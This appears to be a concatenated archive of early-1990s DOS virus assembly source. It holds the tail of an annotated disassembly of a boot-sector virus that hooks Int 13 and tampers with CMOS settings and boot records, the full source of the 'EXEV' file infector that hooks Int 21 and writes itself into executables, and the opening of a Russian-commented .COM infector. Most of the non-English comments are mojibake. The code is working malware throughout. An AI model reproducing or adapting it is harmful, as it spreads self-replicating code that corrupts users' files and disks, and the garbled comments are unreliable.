||||
CALL Restore_CMOS ;001E6 E80500 |Restore original CMOS
|
||||
PUSHF ;001E9 9C |Prepare for interrupt
|
||||
;---------------------------------
|
||||
;DO THE INTERRUPT 13
|
||||
CALL DWord Ptr DS:[I13_Off-100h] ;Subtract 100h from
|
||||
; offset of old Int 13
|
||||
;001EA FF1EB600| vector and then call
|
||||
; | it as a DWord (i.e.
|
||||
; | as Segment:Offset)
|
||||
; | Standard Int 13
|
||||
; | resets and repeats
|
||||
; | 3 times if carry
|
||||
; | flag not clear.
|
||||
Restore_CMOS: ;---------------------------------
|
||||
; |
|
||||
CALL Xchg_Old_New ;001EE E80300 |
|
||||
CALL Change_CMOS ;001F1 E8D6FF |
|
||||
; |
|
||||
Xchg_Old_New: ;---------------------------------
|
||||
; |
|
||||
XCHG AX,DS:[0053h] ;001F4 87065300|
|
||||
XCHG DX,DS:[0055h] ;001F8 87165500|
|
||||
RET ;001FC C3 |
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Jump_From_Boot: ; |
|
||||
; |
|
||||
CALL Main_Routine ;001FD E80400 |
|
||||
; CALL 0204h |
|
||||
; |
|
||||
CALL Restore_CMOS ;00200 E8EBFF |Call 01EEh
|
||||
;-------------------------------;---------------------------------
|
||||
;RETF ; |This must be assembled
|
||||
; |as DB 0CBh, otherwise
|
||||
DB 0CBh ;00203 CB |the assembler emits
|
||||
; |CA CB 00.
|
||||
;---------------------------------------;---------------------------------
|
||||
; |Diddle CMOS. Read
|
||||
Main_Routine: ;00204 |boot with new Int13.
|
||||
; |
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
; (64 Bytes) FFEEDDCC BBAA9988 77665544 33221100 |This is the original
|
||||
; -------- -------- -------- -------- |CMOS setting.
|
||||
; CMOS IS NOW: 00008050 02269303 28000016 00200027 |
|
||||
; 00000000 0000310D 80028003 00F00020 <--|diskette drive(s) type
|
||||
; Checksum --> 7F021A04 01000009 04000000 00000000 |Bits 7-4: drive 0
|
||||
; is 7F02 00000001 01000000 00000000 80190D80 |Bits 3-0: drive 1
|
||||
; | 0000b = no drive
|
||||
; | 0001b = 360K
|
||||
; | 0010b = 1.2 MB
|
||||
; | 0011b = 720K
|
||||
; | 0100b = 1.44 MB
|
||||
; |so in this case there
|
||||
; |is one 1.2 meg drive
|
||||
; |and no 'B' drive
|
||||
;-------------------------------------------------------------------------
|
||||
; |Put address of
|
||||
CMOS_0: ; | hidden memory on
|
||||
PUSH CS ;00204 0E | stack and then pop
|
||||
POP DS ;00205 1F | it into DS.
|
||||
MOV ES,CX ;00206 8EC1 |Zero ES
|
||||
CALL Change_CMOS ;00208 E8BFFF |AX=0099,DX=0000
|
||||
;-------------------------------------------------------------------------
|
||||
;
|
||||
; CMOS CHANGED: 00008050 02269303 28000017 00420002
|
||||
; 00000000 0000310D 80028003 00F00000 <-NOTE CHANGE
|
||||
; NOTE CHANGE-> 00001A04 01000009 04000000 00000000 No drive
|
||||
; No checksum 00000001 01000000 00000000 80190D80
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; |Now the drive type
|
||||
CMOS_1: ; | and checksum are 00
|
||||
MOV AL,AH ;0020B 8AC4 |AX=2020
|
||||
AND AL,0F0h ;0020D 24F0 |AX=2020
|
||||
JZ Calc_ChkSum ;0020F 7408 |Is zero flag set?
|
||||
MOV DS:[0055h],DX ;00211 89165500|Store checksum in
|
||||
; | DS:[0055]
|
||||
MOV DS:[0054h],AH ;00215 88265400|Store drive type
|
||||
; | in DS:[0054]
|
||||
Calc_ChkSum: ;---------------------------------
|
||||
; |
|
||||
AND AH,0Fh ;00219 80E40F |Clears high bits
|
||||
; | AX=0020
|
||||
SUB DL,AL ;0021C 2AD0 |DX=025F
|
||||
SBB DH,00h ;0021E 80DE00 |DX=025F
|
||||
CALL Change_CMOS ;00221 E8A6FF |AX=0020, DX=025F
|
||||
;-------------------------------------------------------------------------
|
||||
;
|
||||
; CMOS CHANGED: 00008050 02269303 28000018 00030041
|
||||
; 00000000 0000310D 80028003 00F00000
|
||||
; NOTE CHANGE-> 5F021A04 01000009 04000000 00000000
|
||||
; 00000001 01000000 00000000 80190D80
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
CMOS_2: ; |
|
||||
MOV DL,80h ;00224 B280 | DL = 80
|
||||
; |
|
||||
Read_Boot: ;---------------------------------
|
||||
; |
|
||||
MOV CX,0001h ;00226 B90100 | CX = 0001
|
||||
MOV DH,CH ;00229 8AF5 | DH = 00
|
||||
POP AX ;0022B 58 | Pop return offset
|
||||
PUSHF ;0022C 9C | Push flags
|
||||
PUSH CS ;0022D 0E | Save segment
|
||||
PUSH AX ;0022E 50 | Save offset
|
||||
MOV AX,0201h ;0022F B80102 | AX = 0201 (read
|
||||
; | one sector)
|
||||
;
|
||||
New_Int13_ISR: ;___ New Int 13 Service Routine ___
|
||||
;
|
||||
CLD ;00232 FC |Clear direction flag
|
||||
PUSH DS ;00233 1E |
|
||||
PUSH SI ;00234 56 |
|
||||
PUSH DI ;00235 57 |Save some registers
|
||||
PUSH CX ;00236 51 |
|
||||
PUSH AX ;00237 50 |
|
||||
PUSH CS ;00238 0E |
|
||||
POP DS ;00239 1F |DS = CS
|
||||
CMP AH,03h ;0023A 80FC03 |Is it a function 3
|
||||
; | (write disk) call?
|
||||
JNZ Real_Int13_1 ;0023D 7521 |No, so do real Int 13
|
||||
CMP Byte Ptr ES:[BX],4Dh ;0023F 26803F4D|Yes, but is ES:[BX]=4D?
|
||||
JNZ Real_Int13_1 ;00243 751B |No, so do real Int13
|
||||
OR AH,DL ;00245 0AE2 |Yes, but which drive?
|
||||
CMP CL,AH ;00247 3ACC |Is drive OK??
|
||||
JNZ Real_Int13_1 ;00249 7515 |No, so do real Int13
|
||||
MOV DI,BX ;0024B 8BFB |Yes, buffer is [4D]
|
||||
MOV SI,00A7h ;0024D BEA700 |
|
||||
MOV CX,01FEh ;00250 B9FE01 |Going to move 1FE words
|
||||
AND DL,DL ;00253 22D2 |Is it drive #0 (A:)?
|
||||
JNZ H0000_025E ;00255 7507 |No, so move 'em
|
||||
MOV SI,0002h ;00257 BE0200 |Yes, SI = 0002
|
||||
MOV AX,5CEBh ;0025A B8EB5C |Move value in AX
|
||||
STOSW ;0025D AB | to ES:[4D]
|
||||
; |
|
||||
H0000_025E: ;---------------------------------
|
||||
; |cx=01FEh,ds=0000h
|
||||
; |si=0002h Move 1FE
|
||||
REP MOVSB ; | words from DS:SI
|
||||
;0025E F3A4 | to ES:DI
|
||||
Real_Int13_1: ;---------------------------------
|
||||
; |
|
||||
POP AX ;00260 58 |Restore registers
|
||||
POP CX ;00261 59 |
|
||||
POP DI ;00262 5F |
|
||||
MOV SI,AX ;00263 8BF0 |SI=function,subfn
|
||||
CALL Real_Int13_2 ;00265 E87EFF |When done go to
|
||||
; | Return_here.
|
||||
Return_Here: ;---------------------------------
|
||||
; |
|
||||
JB Int13_Error ;00268 721D |If Int 13 returned
|
||||
; | error go to err rtn
|
||||
PUSH DI ;0026A 57 |Save registers
|
||||
PUSH AX ;0026B 50 |
|
||||
OR DH,DH ;0026C 0AF6 |Was drive A: target?
|
||||
JNZ Exit_Virus ;0026E 7514 |Yes, Exit_Virus
|
||||
CMP CX,+01h ;00270 83F901 |Was it a 1 sector
|
||||
; | operation?
|
||||
JNZ Exit_Virus ;00273 750F |No, Exit_Virus
|
||||
MOV AX,SI ;00275 8BC6 |Restore Int 13
|
||||
; | function, sub fn
|
||||
CMP AH,02h ;00277 80FC02 |Was it a read fn?
|
||||
JZ Int13_Read ;0027A 7410 |
|
||||
CMP AH,03h ;0027C 80FC03 |
|
||||
JNZ Exit_Virus ;0027F 7503 |
|
||||
; |
|
||||
Read_New_Boot: ;---------------------------------
|
||||
; |This pushes the
|
||||
CALL Read_Boot ;00281 E8A2FF | address of
|
||||
; | Read_Boot on stack
|
||||
Exit_Virus: ;---------------------------------
|
||||
; |
|
||||
CLC ;00284 F8 |
|
||||
POP AX ;00285 58 |Restore registers
|
||||
POP DI ;00286 5F |
|
||||
; |
|
||||
Int13_Error: ;---------------------------------
|
||||
; |
|
||||
POP SI ;00287 5E |
|
||||
POP DS ;00288 1F |
|
||||
RETF 0002h ;00289 CA0200 |Return to address
|
||||
; | on stack. Discard
|
||||
; | next two bytes on
|
||||
; | stack. This
|
||||
; | eventually gets us
|
||||
; | to offset 19C (check
|
||||
; | activation & reboot)
|
||||
;---------------------------------------;---------------------------------
|
||||
Int13_Read: ; |
|
||||
; |
|
||||
PUSH CX ;0028C 51 |Push # sectors
|
||||
CMP Byte Ptr ES:[BX+28h],7Ch;0028D 26807F |Compare [0000:7C28]
|
||||
; 287C | with 7C. (Boot
|
||||
; | record offset 28).
|
||||
JNZ Boot_Changed ;00292 750D |If no, then the
|
||||
; | boot record changed.
|
||||
;00294 268B8F |MOV CX,ES:[BX+0057h]
|
||||
; 5700 |
|
||||
;
|
||||
MOV CX,ES:[BX + word ptr Install - 100h] ;Move starting sector
|
||||
; to CX
|
||||
MOV AL,01h ;00299 B001 |
|
||||
CALL Real_Int13_2 ;0029B E848FF |
|
||||
; |
|
||||
HD_Exit: ;---------------------------------
|
||||
; |
|
||||
POP CX ;0029E 59 |
|
||||
JMP Short Exit_Virus ;0029F EBE3 |
|
||||
;---------------------------------------;---------------------------------
|
||||
Boot_Changed: ; |
|
||||
; |
|
||||
PUSH DX ;002A1 52 |Save drive info
|
||||
MOV CL,11h ;002A2 B111 |CX=0011 (Changed)
|
||||
TEST DL,80h ;002A4 F6C280 |Is it a hard drive?
|
||||
JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive
|
||||
MOV CH,28h ;002A9 B528 |
|
||||
CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F |
|
||||
; 15FC |
|
||||
JNB H0000_02B4 ;002B0 7302 |
|
||||
SAL CH,1 ;002B2 D0E5 |
|
||||
; |
|
||||
H0000_02B4: ;---------------------------------
|
||||
; | This code not
|
||||
PUSH ES ;002B4 06 | analyzed as of
|
||||
PUSH BX ;002B5 53 | April 21st.
|
||||
XOR AX,AX ;002B6 33C0 |
|
||||
MOV ES,AX ;002B8 8EC0 |
|
||||
LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E |
|
||||
; 7800 |
|
||||
; |Load ES & operand
|
||||
; | from memory
|
||||
PUSH ES ;002BF 06 |
|
||||
PUSH BX ;002C0 53 |
|
||||
INC AL ;002C1 FEC0 |
|
||||
MOV CL,AL ;002C3 8AC8 |
|
||||
XCHG CL,ES:[BX+04h] ;002C5 26864F04|
|
||||
MOV AH,05h ;002C9 B405 |
|
||||
MOV BX,0059h ;002CB BB5900 |
|
||||
MOV [BX],CH ;002CE 882F |
|
||||
PUSH CS ;002D0 0E |
|
||||
POP ES ;002D1 07 |
|
||||
CALL Real_Int13_2 ;002D2 E811FF |
|
||||
POP BX ;002D5 5B |
|
||||
POP ES ;002D6 07 |
|
||||
XCHG CL,ES:[BX+04h] ;002D7 26864F04|
|
||||
POP BX ;002DB 5B |
|
||||
POP ES ;002DC 07 |
|
||||
; |
|
||||
Hard_Drive: ;---------------------------------
|
||||
; |
|
||||
CALL Setup_Int13 ;002DD E803FF |Prepare for Write
|
||||
POP DX ;002E0 5A |Get drive info
|
||||
JB HD_Exit ;002E1 72BB |On error exit
|
||||
MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed)
|
||||
MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds
|
||||
; EB1C | EB 1C.
|
||||
MOV SI,001Eh ;002EC BE1E00 |SI=001E
|
||||
;-------------------------------;---------------------------------
|
||||
;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E
|
||||
; |for this instruction,
|
||||
DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's
|
||||
; |BX=7C00 SI=001E
|
||||
; |ES=0000 DI=7C1E
|
||||
;-------------------------------;---------------------------------
|
||||
MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh
|
||||
REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI
|
||||
; |Restore boot record
|
||||
; | from ofs 7C00:001E
|
||||
; | Note initial jump
|
||||
; | restored to EB 1C.
|
||||
POP CX ;002F8 59 |CX=number of sectors
|
||||
CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot
|
||||
; | record.
|
||||
JMP Short Read_New_Boot ;002FC EB83 |Read it and process.
|
||||
;---------------------------------------;---------------------------------
|
||||
Boot_ID DW 0AA55h ;002FE 55AA |All valid boot
|
||||
; | sectors end with
|
||||
; | 55AA
|
||||
ENDS ;---------------------------------
|
||||
; Disassembly by Arthur Ellis and ??
|
||||
END Boot_Start ; [Suggestions by Lucifer Messiah]
|
||||
; April, 1993
|
||||
;-------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
--
|
||||
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
|
||||
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
|
||||
Student at the Northeatstern University College of Computer Science
|
||||
"I Can't Believe It's Not Butter"
|
||||
|
|
@ -0,0 +1,269 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ EXEV ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 2-Jun-90 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 9 Analysis Options on: ABCDEFPX ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_13e equ 1000h ; (6B7E:1000=0)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
exev proc far
|
||||
|
||||
start:
|
||||
mov dx,offset data_1 ; (6B7E:010A=0Ah)
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
jmp loc_2 ; (0A10)
|
||||
data_1 db 0Ah, 0Dh, '‚ ¸¨¿² ¿§®¢¨° ¥ § °¨¡¥. '
|
||||
db 'Œ © ±¬¥«® ! ..', 0Ah, 0Dh, '$'
|
||||
db 0
|
||||
db 1928 dup (0)
|
||||
data_3 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_4 dw 0
|
||||
data_5 dw 0
|
||||
data_6 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_7 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_8 dw 0
|
||||
data_9 dw 0
|
||||
db 310 dup (0)
|
||||
loc_2:
|
||||
cld ; Clear direction
|
||||
mov ax,352Bh
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov bp,ds
|
||||
push cs
|
||||
pop ds
|
||||
add word ptr jmp_far+3,bp ; <20>°¨¡ ¢¿ ªº¬ JMP FAR ²¥ª³¹¨¿ ±¥£¬¥²
|
||||
mov si,0A10h ; <20>°¥¬¥±²¢ £® ¢ ±¥£¬¥² ª®©²® ±®·¨
|
||||
mov di,si ; ES ²®¢ ¥ ±¥£¬¥² INT 21H
|
||||
mov cx,180h
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
push es ; ‘«¥¤ ª ²® £® ¯°¥¬¥±²¨ ±¥ ®¡°º¹ ªº¬
|
||||
mov ax,offset prehod ; ¥£®,® ®¢¨¿ ¤°¥±
|
||||
push ax
|
||||
retf ; Return far
|
||||
prehod label word
|
||||
lea di,[bx+1Bh] ; ‡ °¥¦¤ ±¥£¬¥² ¢°º¹ ¥ ¢ JMP FAR
|
||||
mov al,0E9h ; ‡ ¯¨±¢ ª®¤ JMP
|
||||
stosb ; Store al to es:[di]
|
||||
mov ax,offset jmp_far+3 ; ’®¢ ¥ ¤°¥± ª®©²® ²°¿¡¢ ¤ ±¥
|
||||
sub ax,di ; ®¡°º¹ ,¨§¢ ¦¤ £® ®² ®²¬¥±²¢ ¥²®
|
||||
stosw ; INT 21H ¨ £® § ¯¨±¢
|
||||
stosw ; ’®¢ § ¯¨±¢ ¢ ®±² «¨²¥ ¡ ©²®¢¥
|
||||
stosw ; ¯° §¨ ¨±²°³ª¶¨¨
|
||||
mov cs:data_3,di ; ’®¢ ¥ ¤°¥± INT 21H
|
||||
mov ax,ss ; ‚º§±² ®¢¿¢ SS
|
||||
sub ax,18h
|
||||
cli
|
||||
mov ss,ax
|
||||
lea ax,[bp+10h] ; ‚§¥¬ ¤°¥± ®² ª®©²® ²°¿¡¢
|
||||
mov bx,11h ; ¤ ±¥ § °¥¤¨ ¯°®£° ¬ ²
|
||||
move label word
|
||||
loc_3:
|
||||
mov es,ax
|
||||
add ax,18h
|
||||
mov ds,ax
|
||||
xor si,si ; <20>°¥¬¥±²¢ ¡«®ª®¢¥ ¯® 180h ¡ ©² §
|
||||
xor di,di ; ¤ £¨ ¢º°¥ ¬¿±²®²® ¨¬.<2E>° ¢¨ £®
|
||||
mov cx,0C0h ; 11h ¯º²¨ § ¤ ±¥ ¨§° ¢¨
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
dec bx
|
||||
jns loc_3 ; Jump if not sign
|
||||
sti ; Enable interrupts
|
||||
mov ds,bp ; ‚º§±² ®¢¿¢ DS ¨ ES
|
||||
push ds
|
||||
pop es
|
||||
jmp_far: db 0EAh,0,0,0,0 ; ’®¢ ¥ ¤°¥± § ¢°º¹ ¥ ¨ JMP FAR
|
||||
int_21: cld ; Ž’ ’“Š ‡€<E280A1>Ž—‚€ Ž<><C5BD>€<EFBFBD>Ž’Š€’€ <20>€ INT 21H
|
||||
cmp ah,3Dh ; '='
|
||||
je loc_4 ; Jump if equal
|
||||
cmp ah,4Bh ; 'K'
|
||||
jne loc_5 ; Jump if not equal
|
||||
loc_4: ; xref 6B7E:0A70
|
||||
push es
|
||||
call sub_5 ; (0AAD)
|
||||
pop es
|
||||
loc_5: ; xref 6B7E:0A75
|
||||
jmp cs:data_3 ; JMP ªº¬ INT 21h
|
||||
|
||||
exev endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near ; —¥²¥/§ ¯¨±¢ ¯°¥´¨ª± ´ ©«
|
||||
mov cx,20h ; <20> §¯®« £ £® ®² INT 21H_SEG:8C2
|
||||
mov dx,8C2h
|
||||
jmp short loc_6 ; (0A90) ; (0A90)
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_2:
|
||||
mov ax,4200h
|
||||
xor dx,dx ; Zero register
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_3:
|
||||
xor cx,cx
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_4: ; Ž¡°º¹ ±¥ ªº¬ INT 21H
|
||||
loc_6: ; xref 6B7E:0A87
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call cs:data_3 ; (6B7E:08C0=0)
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
abort : mov al,3 ; ‚µ®¤ ²®·ª INT 24H
|
||||
iret ; Interrupt return
|
||||
_1 dw 17D0h
|
||||
dw 1509h
|
||||
dw 154Ch
|
||||
_2 dw 0F7Ah
|
||||
dw 15DCh ;’³ª ¥ ¨ ¤°¥± INT 13H
|
||||
dw 161Fh
|
||||
|
||||
_3 dw 0FC9h,15DCh,161Fh ;’®¢ ± ¤ ¨²¥ §
|
||||
;INT 25H,INT 26H,INT 27H
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
push di ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||
push si
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
push cs
|
||||
pop es
|
||||
mov si,4Ch
|
||||
push si
|
||||
mov di,8E2h
|
||||
mov cx,28h ; ‡ ¯ §¢ ¯°ªº±¢ ¨¿² ®² 13H ¤® 24H
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
pop di
|
||||
push ds
|
||||
pop es
|
||||
mov al,70h ; 'p'
|
||||
mov ds,ax
|
||||
mov al,ds:data_13e ;<3B>®±² ¢¿ ¢ al ±º¤º°¦ ¨¥²® 70:1000
|
||||
mov si,offset _1
|
||||
cmp al,0
|
||||
je loc_7 ; Jump if equal
|
||||
mov si,offset _2
|
||||
cmp al,0Fh
|
||||
je loc_7 ; Jump if equal
|
||||
mov si,offset _3
|
||||
loc_7: ; xref 6B7E:0AD5, 0ADC
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
mov al,70h ; ‘¬¥¿ INT 13H
|
||||
stosw ; Store ax to es:[di]
|
||||
mov di,90h
|
||||
mov ax,offset abort ; ‘¬¥¿ ¤°¥± INT 24H
|
||||
stosw ; Store ax to es:[di]
|
||||
mov ax,cs
|
||||
stosw
|
||||
movsw
|
||||
stosw ; ‚°º¹ ®°¨£¨ «¨²¥ ¢µ®¤¨
|
||||
movsw ; ²®·ª¨ INT 25H , INT 26H ,
|
||||
stosw ; INT 27H
|
||||
pop ds
|
||||
mov ax,3D02h ; Ž²¢ °¿ ´ ©« § ·¥²¥¥/§ ¯¨±
|
||||
call sub_4 ; (0A90)
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov bx,ax
|
||||
mov ax,5700h ; ‚§¥¬ ¤ ² ² ¨ · ± ´ ©«
|
||||
jc loc_9 ; Jump if carry Set
|
||||
call sub_4 ; (0A90)
|
||||
push cx ; ‡ ¯ §¢ ¤ ² ² ¨ · ± ¢ ±²¥ª
|
||||
push dx
|
||||
mov ah,3Fh ; ”³ª¶¨¿ § ·¥²¥¥ ¯°¥´¨ª±
|
||||
call sub_1 ; (0A81)
|
||||
cmp data_5,0 ; <20>°®¢¥°¿¢ § ¯°¥¬¥±²¢ ¥¬¨ ±¨¬¢®«¨
|
||||
jne loc_8 ; ‡ ²¢ °¿ ¨ ¨§«¨§
|
||||
cmp data_6,ax ; <20>°®¢¥°¿¢ ° §¬¥° ¯°¥´¨ª± 0 ?
|
||||
jne loc_8 ; Jump if not equal
|
||||
mov ax,data_4 ; <20>®±² ¢¿ ¢ AX ¤º«¦¨ ² ´ ©«
|
||||
shl ax,1 ; “¬®¦ ¢ ¿ ¯® 2
|
||||
mov word ptr move-2,ax ; ‡ ¯¨±¢ ª®«ª® ¯º²¨ ¤ ±¥ ¯°¥¬¥±²¨
|
||||
sub data_6,18h ; <20> ¬ «¿¢ ¤º«¦¨ ² ¯°¥´¨ª±
|
||||
add data_7,18h ; “¢¥«¨· ¢ ®²¬¥±²¢ ¥²® SS ± 18h
|
||||
mov ax,0A10h
|
||||
xchg ax,data_8 ; IP ¤ ¡º¤¥ ®²¬¥±²¢ ¥ A10h
|
||||
mov word ptr jmp_far+1,ax ; ‡ ¯ §¢ IP ¢ FAR JMP
|
||||
mov ax,0FF5Fh ; <20>®±² ¢¿ CS ² ª ,·¥ CS:IP ¤
|
||||
xchg ax,data_9 ; ±®·¨ · «®²® ¢¨°³±
|
||||
add ax,10h
|
||||
mov word ptr jmp_far+3,ax ; <20>®±² ¢¿ ¢ JMP FAR ±¥£¬¥²
|
||||
call sub_2 ; <20>®±² ¢¿ ¢ · «®²® ´ ©«
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¯°¥´¨ª±
|
||||
call sub_1 ; (0A81)
|
||||
mov ax,4200h
|
||||
mov dx,80h ;<3B>°¥¬¥±²¢ ¯®ª § «¥¶ 80h
|
||||
call sub_3 ; (0A8E)
|
||||
mov cx,180h
|
||||
mov dx,0A10h
|
||||
mov ah,40h ; ‡ ¯¨±¢ ¢¨°³±
|
||||
call sub_4 ; (0A90)
|
||||
loc_8: ; xref 6B7E:0B15, 0B1B
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h ; ‡ ¯¨±¢ ±² °¨¿ · ± ¨ ¤ ²
|
||||
call sub_4 ; (0A90)
|
||||
mov ah,3Eh ; ‡ ²¢ °¿ ´ ©«
|
||||
call sub_4 ; (0A90)
|
||||
loc_9: ; xref 6B7E:0B04
|
||||
mov si,8E2h
|
||||
mov di,4Ch
|
||||
mov cx,28h ; ‚°º¹ ¯°¥ªº±¢ ¨¿²
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
pop ds
|
||||
pop ax ; ‚º§±² ®¢¿¢ °¥£¨±²°¨²¥
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop si
|
||||
pop di
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
db 'The Rat, Sofia'
|
||||
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
|
@ -0,0 +1,261 @@
|
|||
jumps
|
||||
;
|
||||
; <09>¥ª®¬¥¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
|
||||
; source code. (‚á¥ à ¢® ‚ ¬ ¢ ¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
|
||||
;
|
||||
; Œ¨«¥ìª ï (¬ «¥ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àïì, ᪮⨠...
|
||||
;
|
||||
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
|
||||
; § ¯ãáâ¨âì - ¯®ª á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
|
||||
; 21-£® ¨â¥àà ¯â , ¥ áªàë¢ ¥â ᢮¥ ⥫® ¦¨à®¥ ¢ ãâ¥á å, § à ¦¥ë¥
|
||||
; ä ©«ë ®¯®§ ¥â ¯® èãਪ¥ã (â ª®© ⨯ §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
|
||||
; ¢®áâ®çëå த®¢ ¤«ï ®âᥪ ¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦¥£®
|
||||
; ᢮¥£®), à ᯮ«®¦¥®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ç « , ᢮¥ «¨ç¨¥ ¢
|
||||
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ¥ â ª®¥
|
||||
; á«®¢®, word 0BABAh), ¢ë¯®«ï¥â 21-¥ ¨â¥àà ¯â®¢ ¨¥ ¨ ᬮâà¨â,
|
||||
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â 窮© ¢á¥ ¯®ïâ®.
|
||||
;
|
||||
; Copyright (c) 1992, Gogi&Givi International
|
||||
;
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 0100h
|
||||
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª ã ¢¨àãá ¯ à £à 䮢
|
||||
VirLen equ (endvir-StartVirus) ; <20> §¬¥àë ¡îáâ ¢¨àãá ¢
|
||||
; âà¥ã£®«ìëå ª¨«®¬¥âà å
|
||||
gadost:
|
||||
db 'è' ; …â® ª®¤ CALL
|
||||
dw StartVirus-$-2 ; € ¥â® ᬥ饨¥ StartVirus
|
||||
db 15,09h ; ˜ãਪ¥ ¨ ®áâ ⮪ ®â mov ah,
|
||||
int 21h ; € íâ® ¢á¥ ®à¬ «ìë©
|
||||
ret ; ª®¤ ¦¥àâ¢ë
|
||||
GoodMessage db '’®¢ à¨é ‹®§¨áª¨©! ”€Š ž!',13,10,'$'
|
||||
; <20> ª®áâë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
|
||||
